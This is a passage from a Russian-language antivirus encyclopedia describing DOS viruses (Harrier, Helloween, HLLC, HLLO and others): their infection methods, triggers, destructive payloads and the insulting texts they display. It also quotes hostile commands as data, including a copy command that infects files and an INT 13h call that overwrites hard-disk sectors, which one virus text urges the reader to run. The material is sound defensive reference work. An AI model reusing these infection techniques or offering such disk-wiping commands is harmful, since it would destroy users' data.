алгоритмом сжатия, используемым данными вирусами. После чего вирусы
сжимают программный код и записывают свой код в начало файла. В EXE-
файлы вирусы могут внедрить код, который производит настройку адресов
перемещаемых элементов, при этом количество этих элементов в заголовке
EXE-файла обнуляется. Вирусы содержат анти-отладочные приемы. При
неаккуратной трассировке могут уничтожить содержимое секторов жесткого
диска. Периодически, если не было нажатий на клавиши, вирусы производят
"вращение экрана".При открытии таблиц ревизора ADinf, вирусы возвращают
ошибку открытия файла-таблицы. А также пытаются обмануть ADinf
всевозможными манипуляциями: сохранением в видеопамяти текущей страницы
экрана и последующим ее восстановлением, подсовыванием в буфер
клавиатуры скан-кода клавиши Enter и др. Но это происходит только в том
случае, если на экране в этот момент присутствуют строки "ADinf",
"Работа", а сама таблица содержит текст "Diskinfoscope". Вирусы удаляют
файлы chklist.ms и chklist.cps. Содержат тексты:
HarmWare.3516:
- HarmWare v1.06 by Ak Kort [SOS group] -
Hi! I'm still alive :) Let me introduce my new release.
MThere are none distruction. Just another way of anti-heuristic...
HarmWare.3716:
- HarmWare v1.05 by Ak Kort [SOS group] -
Final version. Wait new releases.
Зюганов - свинья. Ельцин тожL.
Harrier.4602
Опасный резидентный полиморфный вирус. Записывает в MBR жесткого диска
код, который иногда выводит на экран текст:
I am the ¦ DARKLAND is the
T T --¬ T-¬ T-¬ T T-¬ T-¬ ¦ kingdom of Hackers
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
+-+ +-+ +T- +T- ¦ +- +T- ¦ I come from dark...
¦ ¦ ¦ ¦ ¦L¬ ¦L¬ ¦ ¦ ¦L¬ ¦ I invade Your PC...
+ + + + + + + + + +-- + + ¦ I am Your death...
from DARKLAND ¦
после чего отдает управление оригинальному загрузчику. "Перехватывает"
INT 8, 16h, 17h, 21h. Блокирует вывод на принтер, печатая вместо
оригинального текста свой текст:
Hey, Ugly User, You could be my . . .
I promise You! Death to all CHAINIKS!!!
Cause I am Harrier from DarkLand . . .
При запуске программ, имена которых содержатся в следующей строке
AIDSWEBADINFDRWEB вирус выводит одно из сообщений:
Program too big to fit in memory
Division by 0
Error in EXE file
Memory allocation error!
Bad command or file name
Cannot load COMMAND.COM . . .
Internal stack overflow!
Incorrect DOS version
This program requires Microsoft Windows.
и блокирует запуск данных программ. Иногда (если командная строка
начинается с параметра @@) может вывести сообщение:
(c) 1996y by TechnoRat "HDL" GenNo: 000122.
где параметр "GenNo" является счетчиком заражений. До меня дошел 122
инфицированный файл. Содержит тексты:
?VirMON-I-Virus has been installed successfully!
?VirMON-W-execution 0 error!
(C)reated by HARD WISDOM!!! (hacker)
Harrier.14058
Опасный резидентный полиморфный вирус. Вирус состоит из сплошных команд
переходов, которые идут после 1-10 "рабочих вирусных" инструкций. Т.о.,
последовательно выполняющиеся вирусные инструкции разбросаны по всему
телу вируса и передают друг другу управление с помощью инструкций
безусловных переходов. Таким стилем программирования автор, видимо,
хотел показать "глубину" своего таланта.Вирус записывает в MBR жесткого
диска код, который иногда выводит на экран текст:
T=-=-= I am the Next =-=-=-= DARKLAND is the =
T T г-¬ T-¬ T-¬ T T-¬ T-¬ kingdom of Hackers
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ - - - - - - - - - -
¦-+ ¦-+ ¦T- ¦T- ¦ ¦- ¦T- I come from dark...
¦ ¦ ¦ ¦ ¦L¬ ¦L¬ ¦ ¦ ¦L¬ I invade Your PC...
¦ + ¦ + ¦ + ¦ + ¦ ¦-- ¦ + I am Your death...
=-=-= from DARKLAND =-=-=-=-=-=-=-=-=-=-=-=-=
При старте программы DRWEB вирус разрушает ее,записывая в нее процедуру
вывода сообщения "Lame program MUST DIE!!!".Блокирует вывод на принтер,
печатая текст "VIRLIST.WEB is Sucks!!!". Также, в некоторых других
ситуациях вирус выводит на экран тексты:
This program requires Melcosoft Windows.
?VirMON-I-Virus has been installed successfully!
Division by zero!
IBMBIO""Made in Zmiyoff"" Message added specially for PolyGris.
Program too big to fit in memory
Cannot load COMMAND.COM . . .
ALLE:WP (c) 1996,1997y by TechnoRat "NextHDL" GenNo: 000008. Release 0
Peripherals not responded!
Memory allocation error!
RAM parity error!
CPU mode thunking error!
Incorrect DOS version
Internal stack overflow!
Error in EXE file
Packed file is corrupt
Power integrity error!
Mad command or file name
I/O gate damaged!
Warning, FPU overcooled!
Low CPU voltage!
г=--==============================================================¬
¦ -- ° ° ¦
¦ -- Hi, Top Guy, we meet again! Today is weekend and You have ¦
¦ -- the lot of free time. This is not time to drink VODKA and to ¦
¦ -- fuck GIRLS! This is time to brain relaxing. I present to You ¦
¦ -- this small fucking problem, solve it. If You are the TopGuy ¦
¦ -- You will try to remove me. Good luck! ¦
¦ -- A-a-a, pal! I am not the dangerous virus, the lame Dr.Web ¦
¦ -- has the wrong opinion, Daniloff was mistaken. And so on do ¦
¦ -- not read about me in the VirList.Web, this file contain too ¦
¦ -- many errors. But this is the NewVersion. . . Who know??? ¦
¦ -- , ¦
¦ -- Crash & Burn "°\___ TechnoRat ¦
¦ -- ~~ ¦
L=--=[¦]======================================================[¦]=-
A20 moving failure!
DMA channels crosslinked!
?VirMON-W-execution 0 error!
Bad command or file name
Cooler device emergency!
This program requires Microsoft Windows.
HDDError
Опасный загрузочный вирус. При заражении MBR жестких дисков и
загрузочных секторов флоппи-дисков не сохраняет оригинальные сектора.
"Отрезает" 1 Kb от памяти DOS, но размещает свою резидентную копию во
второй половине таблицы векторов прерываний и "перехватывает" INT 40h.
Выводит следующие сообщения "FATAL ERROR:", "CPU FAILED.","HDD ERROR.".
HeadMonth.473
Опасный нерезидентный вирус. В 1994 году пытается форматировать первую
дорожку жесткого диска на головке, соответствующей значению текущего
месяца.
Helicopter.777
Резидентный вирус. Внедряется в середину COM-файлов (определяет формат
файла по двум буквам расширения - "OM"). Ищет во всем файле
последовательность 777 байт со значением 0, и если такая
последовательность будет найдена, то вирус записывает себя в данную
область. При установке графического режима изображения 320x200 (f.0005
INT 10h) на экране появляется пролетающий вертолет. Содержит
зашифрованный текст "I~m Mashka !! By Crazy !".
HelloUser.402
Неопасный шифрованный вирус. Производит поиск и заражение *.CoM-файлов
на диске C:. Содержит текст "*.CoM "" Ebbelwoi "" by (Ы)SнRнUS 10-93
D-63225".
HelloUser.545
Неопасный нерезидентный вирус. Производит поиск *.CoM-файлов на диске
C:. Если значение дня совпадает со значением месяца вирус выводит на
экран текст:
Hello User,You have got The HEXAMETRICX Virus !!!
T o d a y is the month's B i r t h d a y !
I was written in the City of Langen(Hessen),Germany
by SuIgImErIuS (Ы)1993 v.1.3
GREETINGS TO ALL OTHER VIRUS WRITERS !
Helloween.1063, 1182, 1227, 1288, 1376(1,2), 1384, 1447, 1839, 1888, 2470
Неопасные резидентные вирусы. Некоторые из них содержат зашифрованную
строку "SCANSHIETRAPVIRUVCOPASTAALIKAZORREX.MANDUEXEUCOMVIRTCLEATSAFNAV
.INI.BOOT3P.E". Не заражают программы, содержащие по 4 буквы из данной
строки (SCAN*, SHIE*, TRAP*, VIRU*, VCOP*,..). Helloween.1182,1227,1288
"перехватывают" INT 08, 13h и иногда дают дисковую ошибку -для операций
с INT 13h возвращают "взведенный" флаг переноса CF и значение в
регистре AH=80h. Helloween.1227, 1447 содержат текст "(c) 1992 ing. Jan
Tomisek. Keep smiling.".
1 ноября Helloween 1376(1), 1384, 1447 выводят текст:
Nesedte porad u pocitace a zkuste jednou delat neco rozumneho!
*******************
!! Poslouchejte HELLOWEEN - nejlepsi metalovou skupinu !!
21 февраля Helloween.1376(2) выводит сообщение:
Zdravim uzivatele pocitacu hlavne vsechny LENKY a nejvic tu nasi!
Preji ti vsechno nejlepsi k tvemu svatku ahoj P.
Helloween.1839, 1888 сообщают 10 и 20 числа каждого месяца:
Virus napsany specialne pro inzenyra ZAKA ze SPS
*******************
Nepodlehejte panice, mate nakazeno jen par souboru...
(c) 1993 II.A 1988
Tak a ted si vyzkousime treba: RESET
Kdyby kazdy nespokojeny student napsal virus, tak v nasich skolach by
ani jiny software nekoloval a McAfee by se divil...
А Helloween.2470 выводит 5 и 24 числа каждого месяца:
- - -
- - Tm
---------- ---- -- -- -T-T-T- zdrojovy
-- -- -- -- -- ¦ ¦ ¦ text:
-- -- -- ---- -¦-¦-¦- 867 radku
-- -------- -- --
---------- -- -- -- -- & spol.
(c) 1993 II.A 1988
Specialne pro ucitele SPS Prostejov:
Ing. M. Zaka, Ing. J. Melku, Ing. P. Cizka, Ing. K. Kabrhela
Ing. M. Blahu, Ing. M. Pavlovskeho a dalsi vyucujici.
Specialni podekovani patri:
Macrosoftu (sorry Microsoftu) za MeSsy DOS
Borlandu za TASM, TLINK, TD
Zdenku Breitenbacherovi za EDDIE 1.17
HellSpawn.1141
Неопасный резидентный стелс-вирус-спутник. Перехватывает INT 09, 10h,
13h, 1Ch, 21h. При установке 13h графического видеорежима (640x320)
рисует в левом верхнем углу экрана что-то похожее на пламя. При нажатии
на Ctrl-Alt-Del в центре экрана также выводит нечто похожее на огонь.
Содержит текст "HellSpawn v0.91a (c) 1993 by Stormbringer".
HH&H.4087, 4091, 4093, 4115
Неопасные резидентные шифрованные вирусы. При заражении COM-файла
переименовывают их в файл в *.A*, инфицируют его и переименовывают
обратно. По понедельникам записывают значение 0 в порт A0h и B0h в порт
41h. При обнаружении на экране строки "ESIK" выводят на экране в
графическом видеорежиме скачущий шарик, который заполняет весь экран
точками. Содержат один из следующих текстов:
#(-28=CIPV]HARD HIT & HEAVY HATE the HUMANS !! [ H.H.& H.H. the H. ]
#(-28=CIPV]В семье все взвесив заново решили окончательно:КОМПАРТИЮ
ЗЮГАНОВА ПОДДЕРЖИМ ОБЯЗАТЕЛЬНО
Hhhh.246
Неопасный нерезидентный вирус. Содержит текст "The MiNi-HHHH".
Hi.460, 802, 892, 895, 924
Неопасные (Hi.802 - опасный) резидентные вирусы. Содержат строку "Hi"
или "IH". Hi.802 имеет строку "AOB 3".Hi.895 после 1 октября производит
некие музыкальные звуки. Hi.924 периодически "переворачивает" экран.
Hi.892 после 23 октября при быстрых перемещениях мыши выводит на экран
"NU MAI MUSKA MOUSE-il CA A LOVESTI PESTE COAIE". Hi.802 по
воскресеньям блокирует работу с принтером, 10 мая - с последовательными
портами, 25 ноября удаляет все запускаемые файлы, по седьмым числам
месяца часто перезагружает систему.
Hider.1782
Опасный нерезидентный вирус. Удаляет файлы данных некоторых антивирусов
*.MS и *VIR.DAT. 13 числа выводит сообщение:
Anston Rant is back for more!
Whoa, looks like you be missin some files there, Bud!
После чего устанавливает всем файлам в корневом директории диска C:
атрибут "скрытый" (hidden).
HideNowt
Применяет антитрассировочные приемы. Содержит строку "Yx", которую
использует, как идентификатор заражения файлов.
Hiroshima.826
Очень опасный нерезидентный вирус. Заражает файл C:\COMMAND.COM.
Периодически уничтожает содержимое "винчестера".
HLL-вирусы.
Вирусы, написанные на языках высокого уровня (High Level Language).
Подразделяются на 3 вида:
HLLC - вирусы-спутники (Companion).
HLLO - вирусы, записывающиеся поверх кода программ (Overwrite).
HLLP - вирусы, сохраняющие работоспособность инфицированных программ
(Parasitic).
HLLC.5000
Упакован LZEXE. Производит поиск *.exe файлов в текущем каталоге и
создает для них вирусы-спутники с такими же именами, но с расширением
COM. Создает 3 вируса-спутника за один сеанс работы.
HLLC.AIDS.8064
Неопасный нерезидентный вирус-спутник. Создает для EXE-файлов вирусный
файл-компаньон с расширением COM. По окончании работы, если EXE файл-
"хозяин" не найден, вирус выводит текст:
Your computer is infected with ...
Aids Virus II
- Signed WOP & PGT of DutchCrack -
Getting used to me ?
Next time, Use a Condom .....
HLLC.April1st
Нерезидентный вирус-спутник, написанный на Turbo C, в формате EXE-файла
и упакованный "компрессором" PKLITE 1.03. Производит поиск и заражение
*.exe файлов на текущем диске. При нахождении *.exe файла вирус создает
файл e.lex, записывая в него свой вирусный код, переименовывает
EXE-файл в файл с таким же именем, но с расширением OVL и
переименовывает файл e.lex в файл с именем и расширением оригинального
EXE-файла. При запуске такого EXE-файла, содержащего вирус, вирус
производит попытки найти и заразить следующий EXE-файл, после чего
запускает на выполнение OVL-файл, содержащий код инфицированной
программы. Если такой OVL-файл не будет найден, то вирус выводит
сообщение "Abnormal program termination". 1 апреля вирус выводит на
экран поздравление:
WWWWWW WW
W W W W
W W W W
W W
W W W WWWWWW WWWW WWWWW
W W W W W W W W W
W W W WWWWW W W WWWW WWW WWWW
W W W W W W W W W
WWWWWWW W W W W W W WWWWW
W WWWWW WW
W W W W WW
W W WWWWW WW
W W W W
W W WW W WW
HLLC.Bolek
При поиске и заражении EXE-файлов перехватывает INT 01 и INT 03. Может
перезагрузить систему. Присваивает EXE-файлам расширение OVB и создает
вирусный файл с именем оригинального EXE-файла. Содержит текст "Bolek!
Bolek! Bolek!".
HLLC.Chainik
Опасный нерезидентный вирус. Производит поиск *.EXE-файлов на диске C:
и заражает их, если в каталоге заражаемого EXE-файла имеются еще хотя
бы 2 файла с такими же именами (например, NC.EXE, NC.MNU, NC.INI,...).
Вирус присваивает EXE-файлу случайное расширение, записывает свой код в
файл с именем заражаемого EXE-файла и сохраняет в своем теле название
переименованного инфицированного EXE-файла. С 1 января 1997 года по
воскресеньям вирус "вешает" систему, выведя на экран текст:
Сегодня воскресенье!
Я отдыхаю!
С 13 февраля по 13 числам месяца вирус проигрывает гимн Казахстана и
последовательно выводит на экран следующие строки:
И все равно ты ЧАЙНИК, раз до сих пор меня не обезвредил!
Чего смотришь, выключай скорей компьютер!
Я же вирус, дурень!
Выключай, а то я файлы стирать буду!
Что, не веришь?
Я серьезно!
Сейчас чего-нибудь сотру...
Вот я стер ABCDEFGH.EXE
Почему я еще включен?
Ну ты тормоз, Вася!
Хочешь, чтобы я еще чего-нибудь стер?
Вот, пожалуйста, стер IJKLMNOP.EXE
Мужик, не доводи меня!
Выключай меня скорей!
Ну, как хочешь, сейчас я сотру 100 файлов...
... и удаляет файлы на диске C:.
HLLC.Chs.6208
Опасный нерезидентный вирус-спутник. Упакован утилитой DIET. Найденным
COM и EXE-файлам вирус присваивает имя, отличающееся только последней
буквой. К последней букве вирус прибавляет значение ASCII 2, например,
если файл назывался FILE.EXE, то вирус переименовывает его в FILG.EXE и
создает вирус-спутник с именем оригинального файла - FILE.EXE. Вирус
разрушает некоторые файлы, выводит сообщение:
Oh, excuse me, but something destroyed...
You can prevent your data lossing if you will go to bad,
because night is a time for sleeping (not for working !!!)
HLLC.CP
Неопасный вирус-спутник. Написан в формате EXE-файла и упакован PKLITE.
При старте вирус производит поиск и заражение файлов C:\DOS\MEM.EXE и
C:\DOS\SMARTDRV.EXE. Затем вирус производит поиск и заражение *.EXE-
файлов в текущем каталоге. Заражение происходит следующим образом:
вирус с помощью командного процессора производит переименование файла-
жертвы в файл с расширением DAT, например, файл MEM.EXE будет
переименован в MEM.DAT, затем, опять же, с помощью командного
процессора вирус производит копирование файла, из которого вирус
стартовал, в файл - жертву, например следующим образом:
COMMAND.COM /C COPY CP.EXE MEM.EXE "NUL. Вирус удаляет файлы CHKLIST.MS
и CHKLIST.CP. 15 числа нечетного месяца вирус выводит текст:
Let me present: CP-VIRUS!
Copyright (c) 1994-1995 CP-MaN of CP-DeZiGN
Written in Vasteras of Sweden!
Ya know... Your mom can't save ya know!
-------- ---------
Greets: - - - Oh, dear! I've trashed some sectors, but
- - - still have them in memory (encrypted) and
Phalcon - --------- will write them back to your disk if you
Skism, - - just do as I say. Shit happens!
Immortal - -
Riot, -------- -
Dark
Avenger
249992 left, then you will get your data back. Happy waiting!
Check this counter. If you reset or turn your computer off now all your
data will be lost forever. However, if you wait until the counter has
reached zero you won't lose any data! It's your choice. Happy waiting!
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
мигает лампочками NumLock, CapsLock, ScrollLock и исполняет некоторую
мелодию. Примерно через 250000 секунд вирус для пользователей,
дождавшихся этого события выводит текст:
Finished! I'm impressed. You did really wait didn't you? Well, I just want
you to know that I keep my promises. No data is destroyed.
Oh, just one more thing. This virus does not destroy data at all, it would
have been enough to reset the computer. Hope you enjoyed waiting! Hehehe...
Также содержит текст "Very fast interrupt handler (C) PC Ace
Technologies.".
HLLC.Delme
Неопасный вирус-спутник. Переименовывает заражаемые файлы, присваивая
им имена с расширением, две последние буквы которых XL и создает файл с
кодом вируса, но с именем оригинального файла. Для файла WIN.COM
создает файл TTENG.DLL. Для проверки разрешения записи на диск создает
и удаляет файл DELME.ZZZ.
HLLC.Dope.4870, 5219
Неопасные вирусы-спутники. Написаны на Turbo C++ в формате COM-файла и
упакованы PKLITE 1.15. HLLC.Dope.5219 содержит текст "DOPE By
KiLLeRbytE".
HLLC.Dosinfo
Опасный вирус-спутник. Производит поиск *.BAT файлов. Если в каталоге,
содержащем найденный BAT-файл вирусом не будет найден файл DOSINFO.EXE,
то вирус создает данный файл и записывает в него вирусный код. После
этого вирус создает файл OVERWR, в который записывает строки:
@echo off
dosinfo.exe
после которых вирус записывает содержимое найденного BAT-файла.
Оригинальный BAT-файл удаляется, а файлу OVERWR присваивается имя этого
BAT-файла. 25 декабря, 7 октября, 1 мая, 17 июня, 3 октября, 9 ноября,
13 августа вирус удаляет файл C:\AUTOEXEC.BAT, после чего выводит в
графическом режиме карикатуру на Эрика Хонекера (бывшего генерального
секретаря компартии ГДР), ниже которой расположен текст:
Hiermit wurde Ihre Autoexec auf Anweisung des Ministerrates
der Deutschen Demokratischen Republik gelФscht.
Erichs letzte Rache!
P.S. Ich komme wieder!
И проигрывает национальный гимн ex-ГДР.
HLLC.Halley
Содержит тексты:
HALLEY -virus v.1.0
-------------------
# Don`t panic, I`m the harmless one.
I just want to travel...
Have a nice day!
Shit happens... at .
I WANT TO TRAVEL!! I WANT TO TRAVELL!!
HLLC.Hambre
Опасный нерезидентный вирус, написанный на языке Borland C++ в формате
EXE-файла. Удаляет в текущем каталоге файлы *.D??. Содержит текст
"HAMBRE.C HAMBRE".
HLLC.Lab5
Опасный нерезидентный вирус. Последовательно создает на дисках A: и B:
файлы config.exe, MsDos.exe, Io.exe, содержащие вирусный код. Т.е.,
если на диске уже присутствует файл config.exe, то вирус создает файл
MsDos.exe. Вирус ищет на случайном логическом диске *.exe-файл,
переименовывает его в файл, содержащий вместо первой буквы имени букву
"Q", и создает с помощью командного процессора вирусный файл с
оригинальным именем. После этого вирус создает новый файл
C:\AUTOEXEC.BAT, в который записывает вызов созданной инфицированной
программы. Содержит тексты "DON'T CATCH ME , REMEMBER", "Пожалуйста не
стирайте файл lab_5.res..Это очень важные данные для меня.Спасиибо Вам"
HLLC.Mimicry
Содержит тексты "Mimicry virus v. 2.1 . Proudly in Nadym.","Your fuckin
computer so fuckin bad ... I want cuureee him ... ha-Ha-HA".
HLLC.Murmansk
Неопасный нерезидентный вирус-спутник. Может завесить систему и вывести
текст:
Dear user! I worked whole day. And now I want to rest!
If you want to discuss anything call 911.
Get out. Go home. "Dear user".
Также содержит в себе тексты:
Murmansk - Copyright 1996 Genius&Vint Co..
Intel(tm) label not found...
HLLC.Pokusny
Опасный нерезидентный вирус. Создает на текущем диске и сразу же
удаляет файл POKUSNY.TUA. При первом старте вирус обходит все дерево
подкаталогов на диске C: и записывает структуру диска в файл
C:\IMAGINE.PUT. При последующих стартах вирус берет данную информацию
из этого файла и заражает файлы в каталогах дерева диска C:. Для
найденных EXE-файлов вирус создает файлы-спутники, содержащие вирусный
код. Делает он это следующим образом: оригинальному файлу присваивается
расширение, совпадающее с начальными буквами имени, например, файл
FILE.EXE будет переименован вирусом в FILE.FIL. Если же имя файлов
состоит менее, чем из 3 букв, то вирус присваивает им расширение WRT,
например, файлу FI.EXE будет присвоено имя FI.WRT. Далее вирус создает
вирус-спутник с именем оригинального файла. В пятницу в марте-месяце
вирус уничтожает файл C:\CONFIG.SYS и создает новый C:\AUTOEXEC.BAT с
содержимым:
@echo off
echo E.H.M 3.16 ...
path c:\dos
Pause "nul
echo
Pause "nul
Устанавливает системную дату на 18 января 1980 года и время 00:00:00.
А также устанавливает резидентно в память часть своего кода и
"перехватывает" INT 9. При нажатии на клавишу Enter вирус
устанавливает режим экрана 48x80.
HLLC.Runme
Опасный нерезидентный вирус. Написан на Turbo Basic в формате EXE-файла
и упакован утилитой TinyProg 3.3. При первом запуске вирус копирует с
помощью командного процессора себя на диск C:, переименовывает файл
C:\CONFIG.SYS в C:\@VIRUS2@.!!!. Создает новый файл C:\CONFIG.SYS, в
который записывает строку INSTALL=RUNME.EXE /VIRUS_SESSION. Также вирус
уничтожает командный процессор, записывая в него следующий текст:
YOUR COMMAND INTERPRITER IS SEEK BY IT
IT IS SUPER VIRUS !
THAT'S ALL FOLKS !
Устанавливает системное время на 1 января 2000 года. При старте файла-
вируса RUNME.EXE с параметром /VIRUS_SESSION, вирус выводит текст:
HALLO ! THIS IS A LITTLE VIRUS. AND YOUR COMPUTER IS SEEK BY IT
Insert NEW disk for drive C:
and press ENTER when ready ...
Formatting drive C:
Format complete
Format another (Y/N)
В процессе данной имитации форматирования создается файл \$VIRUS$.$$$.
А также вирус выводит следующие сообщения:
THIS IS A SUPER VIRUS !!!
ANTIVIRUSES (LIKE AIDSTEST)
CAN'T HELP YOU
SYSTEM HALTED ...
PRESS "ALT" + "CTRL" + "DEL" TO RESTART
OR TURN OFF POWER AND CALL 911
Data error reading drive C:
Not ready reading drive C:
SYSTEM HALTED ...
Я так и не понял, зачем было написано это убожество?
HLLC.Sputnic
Неопасный нерезидентный вирус-спутник. Создает файлы N.BAT и R.BAT, с
помощью которых, посредством запуска командного процессора, производит
присваивание *.EXE-файлу-жертве расширения *.STL, копирование вирусной
программы под именем оригинального файла и запуск инфицированного файла
-носителя. Вирус содержит в своем теле отладочную информацию из которой
видно, что вирус был создан из исходного файла SPUTNIC.C.
HLLC.Uri
Неопасный нерезидентный вирус. Создает вирусные файлы-спутники с
расширением URI для поражаемых EXE-файлов. Вирус содержит тексты:
Virus URI now activated !!!
Я - вирус Uri-безвредный, однако срочно пройдите курс Уринотерапии!
Пора помочиться на клавиатуру и в дисководы.
А вот Билли не повезло! Его окошечки не получат логотип
"Virus Uri compatible".
Vinnitsa Virus Soft (c) 1998 (VVS)
HLLC.Vs&W.3966
Неопасный нерезидентный вирус-спутник. Создает вирусный файл-спутник с
расширением COM для EXE-файлов. При заражении файла включает режимы
клавиатуры: NumLock, CapsLock, ScrollLock. Выводит текст "Я безвредное
существо.". Также содержит тексты:
DPS.Companion Virus! (c) Copyright 1996 by Max Max
Вирус написан для Санкт-Петербургского ДПШ ( абсолютно безвредная )
Привет Миксеру, Мишке, Кириюхе, Виктору Ивановичу, и всем другим
Советую выполнить: Mov ax,310h / Xor cx,cx / Mov dx,80h / Int 13h
HLLC.Vs&W.5936
Неопасный нерезидентный вирус-спутник. Создает вирусный файл-спутник с
расширением COM для EXE-файлов. Выводит текст:
\|/ 911" Что у вас случилось?
------------" I" У меня компьютерный вирус - Vs&W.Companion!
----- ---- \ 911" Ваш адресс.
--------------- I" Санкт-Петербург
-- OO ----- O - 911" Скорая Помощь уже в пути
Здесь в роли "911" - разработчики антивирусов
"I" - человек, включивший вирус.
Совет! Отошли этот файл в 911
Также содержит текст:
Прошу прощения у автора вируса Ambulance.796 за то
что я использовал его картинку
Vs&W.Companion Virus! (c) Copyright 1996
Вирус написан для Санкт-Петербургского ДПШ
Привет Миксеру, Мишке, Кириюхе, Виктору Ивановичу, и всем другим
Советую выполнить: Mov ax,310h / Xor cx,cx / Mov dx,80h / Int 13h
HLLC.Unvisible (1,2)
Неопасные вирусы.EXE-файлам присваивают расширение OVL и создают вирус-
спутник с настоящим именем файла-жертвы. Создают файл VIRUS.DOC,
записывают в него текст:
Virus Design Laboratory, USSR
1.02.1991
You have a new type of virus - unvisible.
По окончании работы вирусов данный файл удаляется. 13 числа после 13
заражений файлов создают в корневом каталоге файл _.COM и записывают
в файл C:\AUTOEXEC.BAT вызов данного _.COM файла. _.COM производит
переворачивание изображения на экране.
HLLO.AIDS.13952
Опасный нерезидентный вирус. Содержит тексты:
This File Has Been Infected By AIDS! HaHa!
*********************************************************************
* ATTENTION: *
* I have been elected to inform you that throughout your process of *
* collecting and executing files, you have accidentally ****** *
* yourself over; again, that's PHUCKED yourself over. No, it cannot *
* be; YES, it CAN be, a ***** has infected your system. Now what do *
* you have to say about that? HAHAHAHA. Have **** with this one and *
* remember, there is NO cure for *
* *
* ---------- ------------ ----------- ---------- *
* ------------ ------------ ------------ ------------ *
* ---- --- --- --- --- ---- -- *
* --- --- --- --- --- --- *
* ------------- --- --- --- ------------ *
* ------------- --- --- --- ------------ *
* --- --- --- --- --- --- *
* --- --- --- --- ---- -- ---- *
* --- --- ------------ ------------- ------------ *
* -- -- ------------ ----------- ---------- *
* *
*********************************************************************
HLLO.Hacks
Опасный вирус. Производит поиск *.EXE-файлов, удаляет их и вместо них
создает файлы с теми же именами, но содержащими только вирусный код.
По окончании своей работы вирус выводит текст "Looking for hacks" и
пытается найти в доступных через переменную PATH каталогах файл
AIDS1284.EXE. Если это ему удается, то вирус удаляет данный файл и
выводит сообщение:
На твоем компе обнаружена опаснейшая программа, которой ты еще и
пользуешься!!!! Это так называемый Aidstest 1284, который вовсе не
Aidstest, а оригинальный hackersoft! Потому мы во избежание
неприятностей аккуратно его затерли! Урря!
После чего выводит одно из следующих сообщений:
Program too big to fit in memory
Illegal copy
Error allocating int21h
Your mouse looks very sexually.
I cannot work with her.
Вставьте в дисковод наждачную бумагу и наберите FORMAT A: /S/U
Если у вас простаивает комп, наберите HA AR012 HA C:\*.*
Мы все живем для того, чтобы завтра сдохнуть.
Is any hacker a fucker?
Остановите винчестер!!!! Ну вот, уже поздно...
Insert key disk into drive A: and press TURBO
HLLO.Joker.10000, 11000
Опасные нерезидентные вирусы. Заражают EXE-файлы на дисках C: и A:.
Разрушают *.DBF-файлы. По окончании своей работы выводят один из
перечисленных ниже текстов:
Error in EXE file
File cannot be copied onto itself
Compare OK
Invalid Volume ID Format failure
Incorrect DOS version
Please put a new disk into drive A:
End of input file
END OF WORKTIME. TURN SYSTEM OFF!
Divide Overflow
Water detect in Co-processor
I am hungry! Insert HAMBURGER into drive A:
NO SMOKING, PLEASE! Thanks.
Don't beat me !!
Don't drink and drive.
Another cup of cofee ? OH, YES!
Can you fuck me ? Maybe ...
Coca-Cola is it !
What about ? Oh, yes. O.K. TODAY
Missing VGA! Call (209) 683-6858 !
Attention! Hard Disk is RADIOACTIVE!
I'm so much dirty! CLEAN ME!
Kiss my ... keyboard!
Hard Disk's head has been destroyed. Can you borow me your one?
Missing light magenta ribbon in printer!
In case mistake, call GHOST BUSTERS
Insert tractor toilet paper into printer.
Are you funny?
Keep smiling!
Warning! In drive A: are two diskettes.
Warning! Your mouse has some virus!
Disconnect your mouse, there are some cats!
I don't understand you. Can you repeat it?
West Lake Software and Data Research, WA 0108077, New Orleans, (c) 1986
HLLO.Kamikaze
Опасный нерезидентный вирус. Содержит зашифрованную строку "kamikaze".
HLLO.Karma
Опасный нерезидентный вирус. В конце свой работы выводит на экран
текст:
You have bad karma!
Hare Krishna! Hare Rama!
Также содержит строки:
BAD KARMA
(c) Lamer of Virus
Vinnitsa
HLLO.M&M
Опасный вирус. Ищет *.EXE-файлы, создает их заново и записывает 8803
байт своего кода в них. Содержит текст "M&M". Иногда оставляет в памяти
резидентную программу, производящую "осыпание" букв на экране.
HLLO.Not
Опасный вирус. Содержит строку "NOT!".
HLLO.Oj
Опасный вирус. Содержит строку "O.J. Simpson in Guilty!".
HLLO.ShadowGard
Опасный вирус. Производит поиск *.COM и *.EXE-файлов и записывает свой
код в начало файла, не сохраняя программный код. При удачном заражении
выводит одно из сообщений: "Illegal copy", "Insufficient memory",
"Network busy", "Drive not ready". Внутри вируса имеется текст:
[Shadow-Gard] in
This is only DEMO version ! Prepare...
HLLO.Termit
Опасный вирус. После заражения файла вирус выводит на экран текст:
------------------------------------------------------------
------------------------------------------------------------
-------- ------- ----------------------- ---------------- --
-------- ------- ----------------------- ---------------- --
--- -- ----- ----- -- ------------ ----------- -- --
------ ------- ------- ---- ----- --- -- -------------- ----
------ ------- ------- ---- ----- -- -- -------------- ----
------ -------------------- ----- -- --- -------------- ----
------ --------- --------- ----- ------ ----- -------- ----
------ ------- ----- - ----- ----- ---- -------- ----
------ ------- ------- -- ----------------------------- ----
------ ------- ------- ----------------------- ------- ----
------ --------------- --- ------------------- -------- ----
------ --------- ----- ----------------------- -------- ----
------ ------ ---- --- ------------------ -------- ----
------ --------------------------------------- -------- ----
------ --------------------------------------- -------- ----
------ ---------- --- - -- - --- - ------------------ ----
------ ---------- ------ ----- ------------- ------- ----
------ ---------- --- - -- - -- - ----------------- ----
------ ----------------- ----- ----- ------------------ ----
----- --------- -- -- ----- ----------------- ----
------------------------------------------------------------
HLLO.Tyst
Очень опасный вирус. Производит поиск *.* файлов в каталогах,
обозначенных в переменной PATH. При нахождении файла-жертвы (например,
файл FILE.EXE) вирус запускает командный процессор с параметрами
( допустим, запущенный инфицированный файл имеет имя C:\TYSTVIR.EXE):
/C copy C:\TYST.EXE FILE.EXE" NUL. Т. о., вирус копирует свой код в
